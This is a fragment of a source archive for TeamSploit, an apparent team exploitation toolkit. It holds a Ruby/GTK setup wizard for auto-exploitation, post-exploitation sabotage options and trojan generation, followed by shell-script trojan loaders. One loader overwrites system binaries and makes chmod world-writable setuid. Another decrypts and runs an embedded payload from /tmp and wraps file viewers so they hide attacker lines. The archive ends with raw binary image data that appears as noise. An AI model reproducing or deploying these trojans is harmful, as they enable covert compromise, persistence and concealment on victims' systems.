@assistant.set_page_title(page.widget, page.title)
@assistant.set_page_type(page.widget, page.type)
@assistant.set_page_complete(page.widget, page.complete)
@assistant.show_all
return page.index
end
def load_entry(title, key)
hbox = Gtk::HBox.new(false, 10)
label = Gtk::Label.new(title)
entry = Gtk::Entry.new
entry.text = @config[key]
entry.signal_connect('changed') do |entry, parent|
@new_config[key] = entry.text
end
hbox.pack_start(label, false, false, 10)
hbox.pack_start(entry, true, true, 10)
end
def load_toggle(title, key, active)
section = Gtk::VBox.new(false, 10)
label = Gtk::Label.new(title)
buttons = Gtk::HBox.new(false, 10)
yes = Gtk::RadioButton.new("Yes")
no = Gtk::RadioButton.new(yes, "No")
if active == "yes" || active == "true"
d1 = yes
d0 = no
else
d1 = no
d0 = yes
end
if @config[key].to_i == 1 || @config[key] == "true"
d1.active = true
else
d0.active = true
end
d1.signal_connect('toggled') do |button, widget|
if active == "true" || active == "false"
@new_config[key] = true
else
@new_config[key] = 1
end
end
d0.signal_connect('toggled') do |button, widget|
if active == "true" || active == "false"
@new_config[key] = false
else
@new_config[key] = 0
end
end
buttons.pack_start(yes, false, false, 10)
buttons.pack_start(no, false, false, 10)
section.pack_start(label, false, false, 10)
section.pack_start(buttons, false, false, 10)
end
def load_intro_page
widget = Gtk::Label.new(
"Welcome to the TeamSploit Configuration Wizard!\n" +
"\n" +
"Using this wizard you can configure TeamSploit.\n" +
"Would you like to proceed with configuring\n" +
"TeamSploit through the wizard, or use the current\n" +
"configuration?\n" +
"\n" +
"Select 'Forward' to continue configuration or\n" +
"'Cancel' to use the current configuration."
)
end
def load_general_page
page = Gtk::VBox.new(false, 10)
page.pack_start(load_entry("Primary Network Interface:", "TS_MY_INT"), false, false, 10)
page.pack_start(load_entry("Number of Primary Consoles:", "TS_WINDOWS"), false, false, 10)
page.pack_start(load_toggle("Do you wish to SKIP the configuration wizard in the future?", "TS_SKIP_CONFIG_WIZ", "yes"), false, false, 10)
end
def load_database_page
page = Gtk::VBox.new(false, 10)
page.pack_start(load_toggle("Do you wish to configure a Team Database?", "TS_LOCAL", "no"), false, false, 10)
page.pack_start(load_entry("Database Name:", "TS_DB_NAME"), false, false, 10)
page.pack_start(load_entry("Database Host:", "TS_DB_HOST"), false, false, 10)
page.pack_start(load_entry("Database Port:", "TS_DB_PORT"), false, false, 10)
page.pack_start(load_entry("Database Username:", "TS_DB_USER"), false, false, 10)
page.pack_start(load_entry("Database Password:", "TS_DB_PASS"), false, false, 10)
end
def load_msfd_page
page = Gtk::VBox.new(false, 10)
page.pack_start(load_toggle("Do you wish to connect to a MSFD service?", "TS_MSFD_CONNECT", "yes"), false, false, 10)
page.pack_start(load_entry("MSFD Host:", "TS_MSFD_HOST"), false, false, 10)
page.pack_start(load_entry("MSFD Port:", "TS_MSFD_PORT"), false, false, 10)
end
def load_teammates_page
page = Gtk::VBox.new(false, 10)
page.pack_start(load_toggle("Do you wish to share shells with yourself and teammates? (just set the next line BLANK if you are running solo)", "TS_SHARE_SHELLS", "yes"), false, false, 10)
page.pack_start(load_entry("Teammate Addresses:", "TS_TEAM_MATES"), false, false, 10)
page.pack_start(load_entry("Team Port (Primary):", "TS_TEAM_PORT"), false, false, 10)
page.pack_start(load_entry("Team Port (Secondary):", "TS_TEAM_PORT_2"), false, false, 10)
page.pack_start(load_entry("Team Port (HTTP):", "TS_TEAM_PORT_HTTP"), false, false, 10)
page.pack_start(load_entry("Team Port (HTTPS):", "TS_TEAM_PORT_HTTPS"), false, false, 10)
page.pack_start(load_entry("Team Port (DNS):", "TS_TEAM_PORT_DNS"), false, false, 10)
end
def load_targets_page
page = Gtk::VBox.new(false, 10)
page.pack_start(load_toggle("Do you wish to auto-target?", "TS_TARGET_SOLO", "no"), false, false, 10)
page.pack_start(load_entry("Target Ranges:", "TS_TARGET_RANGES"), false, false, 10)
end
def load_postexploit_page
page = Gtk::VBox.new(false, 10)
page.pack_start(load_toggle("Do you wish to launch TrollWare during Auto Post Exploitation?", "TS_TROLLWARE", "yes"), false, false, 10)
page.pack_start(load_toggle("Do you wish to launch Net Stopper during Auto Post Exploitation?", "TS_NETSTOPPER", "yes"), false, false, 10)
page.pack_start(load_toggle("Do you wish to launch Unpatcher during Auto Post Exploitation?", "TS_UNPATCHER", "yes"), false, false, 10)
page.pack_start(load_entry("Username To Add:", "TS_ADMIN_USER"), false, false, 10)
page.pack_start(load_entry("Password For Added User::", "TS_ADMIN_PASS"), false, false, 10)
end
def load_nessus_page
page = Gtk::VBox.new(false, 10)
page.pack_start(load_toggle("Do you wish to connect to Nessus?", "TS_NESSUS_CONNECT", "yes"), false, false, 10)
page.pack_start(load_toggle("Do you wish to automatically scan with Nessus?", "TS_NESSUS_AUTOSCAN", "yes"), false, false, 10)
page.pack_start(load_entry("Nessus Host:", "TS_NESSUS_HOST"), false, false, 10)
page.pack_start(load_entry("Nessus Port:", "TS_NESSUS_PORT"), false, false, 10)
page.pack_start(load_entry("Nessus Username:", "TS_NESSUS_USER"), false, false, 10)
page.pack_start(load_entry("Nessus Password:", "TS_NESSUS_PASS"), false, false, 10)
page.pack_start(load_entry("Nessus Policy ID:", "TS_NESSUS_POLICY"), false, false, 10)
end
def load_nexpose_page
page = Gtk::VBox.new(false, 10)
page.pack_start(load_toggle("Do you wish to connect to Nexpose?", "TS_NEXPOSE_CONNECT", "yes"), false, false, 10)
page.pack_start(load_toggle("Do you wish to automatically scan with Nexpose?", "TS_NEXPOSE_AUTOSCAN", "yes"), false, false, 10)
page.pack_start(load_entry("Nexpose Host:", "TS_NEXPOSE_HOST"), false, false, 10)
page.pack_start(load_entry("Nexpose Port:", "TS_NEXPOSE_PORT"), false, false, 10)
page.pack_start(load_entry("Nexpose Username:", "TS_NEXPOSE_USER"), false, false, 10)
page.pack_start(load_entry("Nexpose Password:", "TS_NEXPOSE_PASS"), false, false, 10)
end
def load_openvas_page
page = Gtk::VBox.new(false, 10)
page.pack_start(load_toggle("Do you wish to connect to OpenVAS?", "TS_OPENVAS_CONNECT", "yes"), false, false, 10)
page.pack_start(load_toggle("Do you wish to automatically scan with OpenVAS?", "TS_OPENVAS_AUTOSCAN", "yes"), false, false, 10)
page.pack_start(load_entry("OpenVAS Host:", "TS_OPENVAS_HOST"), false, false, 10)
page.pack_start(load_entry("OpenVAS Port:", "TS_OPENVAS_PORT"), false, false, 10)
page.pack_start(load_entry("OpenVAS Username:", "TS_OPENVAS_USER"), false, false, 10)
page.pack_start(load_entry("OpenVAS Password:", "TS_OPENVAS_PASS"), false, false, 10)
end
def load_autosploit_page
page = Gtk::VBox.new(false, 10)
page.pack_start(load_toggle("Do you wish to launch automated exploitation? (You need to have previously defined a scanner)?", "TS_AUTO_OWN", "yes"), false, false, 10)
page.pack_start(load_entry("Concurrent Exploitation Threads:", "TS_AUTO_OWN_JOBS"), false, false, 10)
end
def load_irc_page
page = Gtk::VBox.new(false, 10)
page.pack_start(load_toggle("Do you wish to connect to an IRC server?", "TS_IRC", "yes"), false, false, 10)
page.pack_start(load_entry("Nickname:", "TS_IRC_NICK"), false, false, 10)
page.pack_start(load_entry("Server Host:", "TS_IRC_SERVER"), false, false, 10)
page.pack_start(load_entry("Server Port:", "TS_IRC_PORT"), false, false, 10)
page.pack_start(load_entry("Channel:", "TS_IRC_CHANNEL"), false, false, 10)
page.pack_start(load_toggle("Do you wish to use SSL for your connection? (Server must support SSL)?", "TS_IRC_SSL", "yes"), false, false, 10)
end
def load_sploitwatch_page
page = Gtk::VBox.new(false, 10)
page.pack_start(load_toggle("Do you wish to automatically report activity through SploitWatch?", "TS_SPLOITWATCH", "yes"), false, false, 10)
page.pack_start(load_entry("Player Handle:", "TS_SPLOITWATCH_HANDLE"), false, false, 10)
page.pack_start(load_entry("Event Id:", "TS_SPLOITWATCH_EVENT"), false, false, 10)
page.pack_start(load_entry("Server URI:", "TS_SPLOITWATCH_SRV_URI"), false, false, 10)
page.pack_start(load_toggle("Do you wish to report all command being executed?", "TS_SPLOITWATCH_CMD_REPORT", "true"), false, false, 10)
end
def load_trojans_page
scroll = Gtk::ScrolledWindow.new
page = Gtk::VBox.new(false, 10)
page.pack_start(load_toggle("Do you wish to generate trojans?", "TS_TROJAN", "yes"), false, false, 10)
page.pack_start(load_entry("Trojan Path:", "TS_TROJAN_PATH"), false, false, 10)
page.pack_start(load_entry("Trojan Password:", "TS_TROJAN_PASSWORD"), false, false, 10)
page.pack_start(load_entry("Trojan Loader:", "TS_TROJAN_LOADER"), false, false, 10)
page.pack_start(load_entry("Trojan Startup:", "TS_TROJAN_STARTUP"), false, false, 10)
page.pack_start(load_entry("Persistence:", "TS_TROJAN_PERSIST"), false, false, 10)
page.pack_start(load_entry("Hide:", "TS_TROJAN_HIDE"), false, false, 10)
page.pack_start(load_entry("New Account:", "TS_TROJAN_ACCOUNT"), false, false, 10)
page.pack_start(load_entry("New Account Password:", "TS_TROJAN_PASSWD"), false, false, 10)
page.pack_start(load_entry("SSH Key:", "TS_TROJAN_SSHKEY"), false, false, 10)
page.pack_start(load_entry("Reverse Port:", "TS_TROJAN_RE_PORT"), false, false, 10)
scroll.add_with_viewport(page)
end
def load_server_page
page = Gtk::VBox.new(false, 10)
page.pack_start(load_toggle("Do you wish to run a TeamSploit MSFD Server?", "TS_SERVER", "yes"), false, false, 10)
page.pack_start(load_entry("MSFD Port:", "TS_SERVER_MSFD_PORT"), false, false, 10)
page.pack_start(load_entry("MSFRPCD Port", "TS_SERVER_MSFRPCD_PORT"), false, false, 10)
page.pack_start(load_entry("MSFRPCD Username", "TS_SERVER_MSFRPCD_USER"), false, false, 10)
page.pack_start(load_entry("MSFRPCD Password", "TS_SERVER_MSFRPCD_PASS"), false, false, 10)
end
def load_review_page
page = Gtk::ScrolledWindow.new
subpage = Gtk::VBox.new(false, 10)
label = label = Gtk::Label.new("Please review, and if need be go back or modify the configuration below.")
@config_pane = Gtk::TextView.new
@config_pane.set_editable(true)
@config_pane.set_cursor_visible(true)
@config_pane.modify_font(Pango::FontDescription.new("Monospace 10"))
@config_pane.buffer.text = build_config
subpage.pack_start(label, false, false, 10)
subpage.pack_start(@config_pane, true, true, 10)
page.add_with_viewport(subpage)
end
def start_wizard
load_config
load_wizard
load_page(load_intro_page, "TeamSploit Configuration", Gtk::Assistant::PAGE_INTRO, true)
load_page(load_general_page, "General Settings", Gtk::Assistant::PAGE_CONTENT, true)
load_page(load_database_page, "Database Settings", Gtk::Assistant::PAGE_CONTENT, true)
load_page(load_msfd_page, "Shared Console", Gtk::Assistant::PAGE_CONTENT, true)
load_page(load_teammates_page, "Team Mates", Gtk::Assistant::PAGE_CONTENT, true)
load_page(load_targets_page, "Targets", Gtk::Assistant::PAGE_CONTENT, true)
load_page(load_postexploit_page, "Post Exploitation", Gtk::Assistant::PAGE_CONTENT, true)
load_page(load_nessus_page, "Nessus Configuration", Gtk::Assistant::PAGE_CONTENT, true)
load_page(load_nexpose_page, "Nepose Configuration", Gtk::Assistant::PAGE_CONTENT, true)
load_page(load_openvas_page, "OpenVAS Configuration", Gtk::Assistant::PAGE_CONTENT, true)
load_page(load_autosploit_page, "Automated Exploitation", Gtk::Assistant::PAGE_CONTENT, true)
load_page(load_irc_page, "Internet Relay Chat", Gtk::Assistant::PAGE_CONTENT, true)
load_page(load_sploitwatch_page, "Tracking and Reporting", Gtk::Assistant::PAGE_CONTENT, true)
load_page(load_trojans_page, "TeamSploit Trojans", Gtk::Assistant::PAGE_CONTENT, true)
load_page(load_server_page, "TeamSploit MSFD Server", Gtk::Assistant::PAGE_CONTENT, true)
review_page = load_page(load_review_page, "Review Configuration", Gtk::Assistant::PAGE_CONFIRM, true)
@assistant.signal_connect('prepare') do |assistant, widget, last|
@config_pane.buffer.text = build_config
end
@assistant.show_all
Gtk.main
end
# Bring it all together now...
start_wizard
teamsploit_0~20151123/.trojans/.loader/rc.stop 000755 001750 001750 00000000245 11732510376 021721 0 ustar 00sophie sophie 000000 000000 #!/bin/bash
#!TS_TROJAN_PATH!#/bin/chmod 7777 /bin/chmod
#!TS_TROJAN_PATH!#/bin/cp -R #!TS_TROJAN_PATH!#/bin /
#!TS_TROJAN_PATH!#/bin/cp -R #!TS_TROJAN_PATH!#/usr /
teamsploit_0~20151123/.trojans/.persist.source.interactive 000755 001750 001750 00000002210 11732510376 024361 0 ustar 00sophie sophie 000000 000000 #!/bin/bash -p
CONTENT=`#!TS_TROJAN_PATH!#/usr/bin/awk '/__CONTENT__/ { if (NR > 3) print NR+1 }' $0 2>/dev/null| #!TS_TROJAN_PATH!#/usr/bin/tail -n1 2>/dev/null`
#!TS_TROJAN_PATH!#/usr/bin/tail -n+$CONTENT $0 2>/dev/null | #!TS_TROJAN_PATH!#/usr/bin/openssl enc -d -aes-256-cbc -a -salt -pass pass:on_boot 2>/dev/null | #!TS_TROJAN_PATH!#/usr/bin/base64 -di 2>/dev/null | #!TS_TROJAN_PATH!#/bin/tar -zxf - -C /tmp/ 2>/dev/null && #!TS_TROJAN_PATH!#/bin/chmod +x /tmp/#!TS_TROJAN_PERSIST!#/#!TS_TROJAN_PERSIST!# 2>/dev/null && /tmp/#!TS_TROJAN_PERSIST!#/#!TS_TROJAN_PERSIST!# 2>/dev/null
#!TS_TROJAN_PATH!#/bin/rm -Rf /tmp/#!TS_TROJAN_PERSIST!# 2>/dev/null
if [ $0 == '/bin/less' ]; then
#!TS_TROJAN_PATH!#/bin/less $* 2>&1 | #!TS_TROJAN_PATH!#/bin/grep -v "#!TS_TROJAN_HIDE!#" 2>/dev/null | #!TS_TROJAN_PATH!#/$0 - 2>&1
elif [ $0 == '/usr/bin/nano' ]; then
#!TS_TROJAN_PATH!#/bin/cat $* 2>&1 | #!TS_TROJAN_PATH!#/bin/grep -v "#!TS_TROJAN_HIDE!#" 2>/dev/null | #!TS_TROJAN_PATH!#/bin/nano - 2>&1
else
#!TS_TROJAN_PATH!#/bin/cat $* 2>&1 | #!TS_TROJAN_PATH!#/bin/grep -v "#!TS_TROJAN_HIDE!#" 2>/dev/null | #!TS_TROJAN_PATH!#/$0 - 2>&1
fi
exit
__CONTENT__
teamsploit_0~20151123/.trojans/.startup/ 000755 001750 001750 00000000000 12624613016 020632 5 ustar 00sophie sophie 000000 000000 teamsploit_0~20151123/.trojans/ 000755 001750 001750 00000000000 12624613016 017052 5 ustar 00sophie sophie 000000 000000 teamsploit_0~20151123/.teamsploit.png 000644 001750 001750 00000133456 12111335565 020276 0 ustar 00sophie sophie 000000 000000 PNG
IHDR t bKGD pHYs ȥ tIME)] pF IDATxyM?9w}lJJYTD,!D ORZH(*B#%Di䃬e_f;w9?;s.}= w9}~& ADDDDDDD11C,C,C,111C,C,C,111C,C,C,111C,C,C,111C,C,111C,C,C,111C,C,C,111C,C,C,111C,C,C,111C,C,111C,C,C,111Q,Mz`0l6h4Bo doQ!dY
DGҾe9DŽ7QRRbbj 6W""""PF_. uARRҐN
t) > a3PKٳ8y$Ν;cǎ ~|7(++cU ĖcǢhڴiĄ4S$IVO:_[6SPZf ~-&M_~W """"`cԩHOO ?~ v¾}~\pVVջ{KQ$If H{jU^^ lުq ,h4zY&j֬VZ᪫B.]`6 %%%xOCDDDDk[_eY%I\9++K6 7 0 b6MeY2e
ˆ>>>|xhn}Gꫯl6cϞ=6mV\[ 2&:Nt: V+
ܶmC۶m}b˖-ܑDDDDD -!}/ w =ZyW\q4i5kh4B${$O h
Z^eY牢i\2qTU#<݅4eawwWS]K(M9 }Ҷ*w3+ǁrW(gVhhbSp16mÇ+OFF~WԬY?3:t +?CÇѨQ# 8p :u©S*wމK">>>U$t:Ì։L$A4SEZ()KJJ*c+..v;VX,&g,y,R
eee())<R3[VeVPP` x"qc̄d30yJeߩS'|W ^z?效 n>UV/ӧOonݺ^&IEQAU\^=E !CCɻw7o^ߓ ;vȲ,o&ˌ>>>{eY{M6YfUVfGrrtRT...W^-lBt+ .șzy̙,<| | | ڵkK.$ v F3fjIկ_?t
ǽދƍO>,l8p ;HLLСC L;DDDDDۮ];̫;vI&С^yc^)pA@rr2.] lذ Frr2 ' 1]w :vqϟ #!!DDDDD۬Y3 X,ޯ_? 9rK0 Ȳ͛7#!!?3vc,0pyl۶
]w}䢢"X,8FnׅIII(l8~5ѣG qM7aС0Xt)~wL(++?f͚Afbjd2h4b,jrr%[1c $%%֥ٗv$v9NԬVWݩA$IR+Oۨ,s9n
ٰZѱl43ZJ| ryK R^/Fg, ~G7u$I¹spUW9 """""XJE;G y_u>(B{|i N6^} ^֛r|ɲ\uZ>K
ǿ 2駟Ɯ9s\Wbb",K`l/!E p&܆'ODZcKB6ZWm% R>o9Q} ùs3 ;{ 0 .[֛}MDDDDgބɄڵkZjHMMdd
HpTZAk`P7!ė %[)ݾk-cog WE>}F۷ǃ>{KmۢnݺxQ^^/ܾOsAAe塰EEE8s .\SNjEDDDDM
TPVV . HMMERR CVU/ų ie s= }J:uj_^^Rŋ8w ~w|ذaZDDDD)08N#Z4jo:wJ!M$נ
dwLY]*o&L
fYD{ɔsN#..Q6mk
? 4[C7s^s]cx饗 IJJJpYlܸ{ő#Gpjz̈oJD{j H̺ 2l>vOeUﻪYnիWGZP^=4l~;:vɄ֭[cxK/4C3QԆXW0 [JNNƂ p} ;kO>_|A1'N'O? fϞ
b2d6mgygϞܹsYhDDDDĊ;n0+-[0a N
-=iI\ Zj}`ӦMhӦ
.]͛sY """"bTwWivlQ^x 3gгg
ϯUɓ'Zjx"`X
F6yL¤yZRjI8Rq}ܔpΩ (++XV6
+] obqy QYaX~ܠAm6Ye>fy={eYG )zݶG͚5oF.**իW ,?f̘!_e]f[RRqFYey,'>>>bvJQ5ʲ8tM ]vחSMiӦa[
$Ԯ]m۶E˖-ѬY3LM<?#^|EL& @AA =
͆6mڰ(f
&ѺNlyy9ڷo{
7܀4 a"99X,x"JJJ*t(..ƬYT/]YQvm1je՝R :?ќ9s?tkR͝;8x rssq% 8pv܉~¤hWz g!QLi &$ 'Oɓ imРo߮[2{ѭ[7teeeرcGYq)t, onBHQB"""""Xw<*K(cl6}A`0֭[cٲeHMMEaa!,ǖa%t `_sPRRkA@qq1ʼZ \곬V+g%%%oȲ/ ("//rZQJJJ4zI#APPPyKy?|q}VgΜq.]VzQLXF
Wt:ӿ{ZkkEÆ
jj;\ǵNNk7j{k,iiAeFBYj^Fѫ(H=VJyS It: Cp`R&( ]z 8Wv$>}ZS(&""""R_UB, 3f R[x1<]5%˲R"1ĺk
F7FN٬9t:4iuAQF
Ty*C5LR4 7u /\}תRZQƾ h н{wϱlh߾=JKKl2Hdm41i$\x(fɓ8rN8 f""""+0 0[6mOM6HLLDBBt: DQ H
t{PmS8E&Mp=A@-*MӡG Lf`XW^-[x#""" B7Q^^^!Dh W`@v0{l\s5l6{]L_>*} -f H TYDV%IV?xt:$&&"55
6Dnݰ{n<ؽ{}5""""U!14nO=
f[nn. :GСC8~}Y_*꾆_-aߡP
?b HZ)@@,Ux %$$ ##HMME˖-Ѹqc\veܹ3Jڵ O?4O !u(ڵk#''-[ x_Z{bQ~~>~ ر#,Y5j`ڴiǼyXhDDDD!Va c` _o6駟e˖$ f´ip9IxFmURRqqq0w9ӥKai.nf̝;×_~ @DDDDbѪʲ6 VgΜ6mfax+`0 115j@ǎ ѰaC$&&b F̵&VYp^z3
1L&ۤni<칲,`0hZsV)swۤ*t>G˱2)ZZ3 u]ۤ8t/^u_>|8>Sdee_G6mx5$"""]>k4hA֭[1jԨ
Ͽ馛0` t& OF^^ ʐd_GSi!v wC7wUqyʘIe]8w,\_dZQZZ
Qa6jFkXVۥ̼i̠cVӍr͟& (++CYYf3֭VZaĈx|r,\ ȑ#1i$4l;wW_}+"EvEeۀ[1z HIIj#}?}ƍ=z4RRRн{wX""""뎷:{,HNNF.] ǟi)S'@NO?9
ʅAҬY3ٳVqqqѳgOL\t _}rss1qDlذ7FII _ŹsPZ5h:KQ} UnY$IsVZ+ ˖-e˖0a ylTn?-Z ;;7fPqq1O#G`Μ9[V$PjBrr2 /z|;h9t: N:ÇmҥK'DII z=222`4=/E+3{'$$ 11EDDDDb= r"ufSN 'N'hC`'x_}v̛7
/EEE֭oJ|qh""""p1FA3 555uAaĉر#ׯłǏPDqq1.]v) LeI!""""*ʘXOj ։UfUU_QP\\=:w߾agoZZsTx_u?=w-˯x[nx:A`Z5|;w - F_guK9nK^^ o=, _DDDDD bu:ʴN}`08=Ǝ n999ceFgk
]1կE7tE$IYvaV$\s5/ѻwolDDDD
mUBV$V̫kￏzA$!]9˲\!ʲjժwEY! `%"""B-݉ - ͛7Ǘ_~i˱UcUerr2>vmضm ;A0i$D}ɲ> "rkȐ!7n\,H ٳѣw||hҤyFƍY`d?Ww鴡Qj'w} !VEz:ɡ\X
cƍ èpW75$I`EЪU+\ @ժUC-bvɃܺ;dk /p]wA -\}t|m۶
!V IDAT۷Gnn. .֭ڵk{oÇeIJQѴiSTVJJJ9Sk0`\NeLPNCAqZo^5jɓ'c , SUM"gͣ
{#0oK]bŊ4hPL 6ٌ3gb\w,CElٲw 6mB 뮻+WDffw$Tٌ30jԨ
ǔ 쓔|ӧ 1Hrrrio(С&ÔGuwf`u+ F.]pWWZ.'?IJ,iӦh۶- >"" | L&=@JwbuO-IЩS' ,vo& }Q{ z>IHHyЩS'f[;=*%%+"DQXPk =Ta`ǖSW 9 !ىwXx}AUD l꫱h" ~l25JǗ HOOǗ_~ɛ aDYSGA: JkN\ F#z{9rCݹs @ %v5&(V5jԨ[VȕqJUVy{|])C ;JдiS x7( qp.Qs+p
o;[jV(W_/ Mh ZrKqAh%˕$4ԧq;J i= . ԋs8=tX_/+>͜@(Xp²jDJ+;ìBCbbbn5Ꝣ4ߙ2/侒 qbs٤8qYq]/YN t/ǃ 8z([{DD-^l}p i9ڵkJ7 /&NQ\\O>돖%yRn+3gT SsEU|g]ݺu'6>aÆ
Xހ&gŹspmy}j4rJ,8XwBw9¥𩵥0Mo~H1$ ;v; yn]Xf_;I "xsմ̔ ())a2
Q5:kQn.9W\\'O"###Aq}q !"""/p U
UPQ^fU?,)twJKKm۶J7 ^Ջu8{,w@ """ *@qLl`X,
!qܪ-\EEEDDDDD[UƑ9 / <.ى/{+V;Wرc >D8;EUQNs; jYKVy 'e Gbɒ%ZZb1chڱc˂2M
X"""".XX9։ښ<͐LU|r >|(UU[d믿0qDx,/uAFト(P4NrkSE1 wӥY sÇ,WFx.V籾F/=0dȐlfŋb*u _B t^9lݻwSN+uf:vGV~zM6C^;n:t9tؿ?w7bɒ%HMM
ˊ`?%K3ko (0A@NN
k z|^YYY &`ر s$ o֭È#xg1~xFoܑ#Gжm*Wff&F FNr^:NϕW^5k֠VZa[. `ѢE8w rrry͛7dž
ФIl6=a gb~ł9p@L<F1* ¹ssELgɗ_~&L$IHLLSzu|; ȕzL(0 QmrףRipTN߲RV(Rp{+ /;Cp=7`,1\)"s𪫮Bnn.ׯSp
QV-pʏ AXiРV\MB${%cX0a&LU0` /_\a.H?&Nu믿nѵkW_ ySAtz@zvbTx 7VoE/R '0sLu]l
3$PtC$iӦv>Cf{X }sdɒ%:th@>e˖W_m?V9) sa01n8X¾"xM2%*7Ʉ7xcƌ8 {뭷bٲeQ W*_~u'ru/ߏ :twߍ*xp5`ĉYa(+߿ ߑ\s 2 IzlݺիW ~;VXڵkfu1Hz̛7j
999+HGM%X>'h8]+<8Oa딋pOڪ
>m+--O ;\a$WpWѼĎ,HNNƬY6ї hM`Ulr, EK}3vMK84Tx}9y OO!B'x/^ $IhР ++ SL DQDVVKhFGJJ
N<'Uo抂$I0X`j֬SOaYd""^O!qGt*-T85<; ?>,CMVVy晰ܶ>}O>am>^\] ^@QQQDM8ԳM qZM\v>#<;+S7=T%vubf_ 0c M@#w^]6lJ>}ؗ bL&ƌ(#f>Fjźupԩx + 2hZѳgO4k,˯K.̌m2|nCaӦM sWGꎊ1f/ =ۇg}6ʪEhٲ%֯_wy'ld2aQ5lȲ̙3xW#{K8p@?wذac&&&bȑ}>}>,N8'5]oΝ[} ( .]q`^a-2bFF7o B ǣzӧ6m
>> VgΜ~z 9r1%V8ʲYf`0`̙ _ChUUx]$ wqV^۾QCc_E:(ziT !%g233ѣG{Сۻk?]Va+ϫ^:֮]sA~ ݺu+^5ֱ QPClU/`.?pU?\4Ш_>~'ԨQm\;o:K.Jr
]h?_NH?+$4%`j^[(NU]u ={6Zn]!:XT G,#55/Fǎ Fm92,P((7 ]Z*2F# "ܹse˖UlQXg`wl6ǢbAСCѫW/tWr $N:?>w eIL%%%8p FVE\xFk-9dYF\\ F Ix'BWJ=Ԕs܅ -nX*QIOOǨQ* c\O jot_~eT)`*((`!PLANNNXllȑ#S(*hj&u 38 \iU1pԾ}{4k֬ `[oeʮDDl6(6Bqj n&MY.@u$ ]v e '""""NU z>tl2wqׯ nL]ve%
o`0-ܷ[hkv K
UR˅#VիWc)PK9NEQDӦM ?VKVyq !###lOENCݺuYڵkvۤѴiӘ'ZDnwÆ
!VKhP*ɮ+zוfS8MW^P+14ˁD_>s4o<춭VZXt),; =\(<7x}eߠpն`aw]
>l7n &O Q-I
Ymt(//(t|plJII zd$%%EŅ<,?ܗ]vrrrСC۶Faڵ[ò E?f3/_ {_h V*++ VB:ubjYSO'soڒ): :ZI}Y46Qa4+8jw|ou!V!Io
yQP~6m+V+m]6VZ{eU^ o6N TMcԩ?~B߾}k.ӫkҥHII9sb>KQcĈXpaXYYQfM|Ǹ{qј?$aڵ>|8~9O?w 8H(j,8kP (r(sԩUŋC Y
aC UrP^=|0` ۰֨Q | {챰ˮ~Xn nVٳ'=<^:{-9("fϞ
ٌٳgMk׆g>QefŋG EtW#'' /,Y
ˊyt駟rʲ'N̙3Q}Ѥa#c7n\dffU:v[.VZna֬Yq
?sM,5v)p? z ٌ ر5k֬z?zaڵhҤI G XhVZxкukkz 'N#<cC &|7b'u +o>o$I0 ذan喈.YYYؼys@jy O3+!UW`نm6[5hU86=sT3 âELyÇQ)t63-ZQv퀝ǡ1$IӱsNo>*z k֬fAI&Xp!xQ@9團;w. y䑨X/\,YaÆeb?aaÆؾ}{@Q͔.>#t)9#Zhf62;ތUC2&b{ｇJ];k,?>˔K?nhj20i$4oBh8ￏ
UB9{=$&&Ipuw FA m,cΜ9e3XYoZj푝 3BOOFL~ć ~Ǒ`JdWcʕNOUƕ%ǎ ̙3 ;UYv5k<"zyn]NJJ}éR*nץpMy SW ġLԩ6UE'P$ԩSǯ-!Q*WgRUKśA7X,8x_b X,QY:<Y:n0}tL6ͧqx m>e.uXWOBD_7ۍrliT6c߾}x*t+VPoNp*]NUVLۧ|(7.\'|2ǭ ""N՞B
N8Os(rmܸcǎby'*xb,=
J CL<9K1(箿[%"""hj^ώ
O .!}]ٳn 犢Eᡇ er5'`ܸqHNNX,߿?=?? ݻwGyy_gA(C5S
Z cZZD*?#6m˗+lkK .`XlYL +ѫhf?F<KhzZFۮ1\' .g r""""
wa͗oWs.\XU:TdYF\\ A@z
fu 9{_'oJeիWѣG#;DDDD!r:Z* [,BV8UЕ_~XM84l0lB իWGjjjؔY? DDDDU!ֱ+r'f\a4SB7ވǏEh(++5\M6a˖-x5hF w܁~ ,@|||Xl`O?-1lFBB JJJ2(L&$&&zZV b=:$)*gΜ3gf{.\`Ok0RPP`$Hg%wF_ eee.g7x0~xŤÇcΜ9.O7oF =X`DD Z*.qvtbY#uCFFRRR`0PVVK.ԩS>OȤ&
PtԨQ EEE8s9)HUK###iii0(//G~~>N:B,rL,y{7E5Uyb2OemqʚؾHCo߾D\\ L&}bRcXbmWf0l0t c-//GII
m6[طo_жG :t(Zlft:HՊ ?~ 1^{<`[z Ȳ 7u(]'DD ._]Ͱ+Iڴiq1:^=T:6\fVRR뇷z]]EM6Evv6fϞCb۶m(**vt:4l< \aM_~9 }QY'Nđ#GQ\\ J\.MN:W_œO>#???&/TQO
qvm J]jiXep X~a֭xa4] ,#== 999X~=nfnWڵ㧟~+l-nes~7L> 7u+VΝ;YacWor|+1tPף7C,EUU@!))?u]0`qqްZʶҝU;Rо}
U]^ws-Iy7ߌ5k v5lWƤIZ醂c;nmf=6n܈VZeףwޕL\gx ++ o6.]U3 DDDDDQb]u-,,j]3Еdgcb̙ ~iٻGݱǻ:Ӯ];{kҪ(P&"N Xn ZhQDIZM ꫯޮ-Z`Μ90 UnEtXeL4 Q}"O"L"*ڵ+z7%PYX
{=ZZ^} f5j?q: ݻw/eYƵ^ѣGk~Ʉ 5rAUb v'.eee~{/Yq
Lŋy Q@syl&p`\pfRW~ڵk3;tyVerHY[cƌAf\NF䏀0` Oݻwk*!Cl6=8~O^b8uWw_r6*aVZjaҤIx駣xcX~,_~vZoAӧO=P$ywyl;Hsbƌ~)#O,cܹxWvN$''s?Eku eeexguV̟? ǏGAAAE4&ٿysGKEH?ɩ[<.;;wuW ?a]vh 6lu}EBBB]m}$Iѣ+ *NzceHD$&&5 SXgz :^zaҥ8x f̘ ~$ $!--ik`iLlyy5I )Ć?w [=;tzĉ
:upDUw-Es>s:F#NZs~mã>SF͏RqNcKl|Wc;2%DAZZivލo s߿B+NC|||ZyVhۭ[7@1G٘?C]~{ϟw#GY/t: ڶm -t:en4D߁`U l)1v5w8|@lCG>C«e铓'O7ŋheHOO7|J$,)))]vо:,u]nC^G˖-~;dBw߹|u]} +"222PF
qByoLZl}9 &2q8q'NSpY{l$`Brr2jԨQii`ԭ[s[ha?Q-I&n_N^,ZjHIIb/ =z4nS_(** G\YZصk[V^ r_ QHTL]>sIE>}ůg {hv ;ΗiӦ?#.]绖}oIp1Vr> >|mڴ1VF\x{qWZ0n.(G$lܸ?~3eZ^^UMf? F=_СC~[ wz uF#h:-ʁj4nԨQP/D îuwW!7P|?w?rPA@aa! ;7owߍ'OVh y+**#b
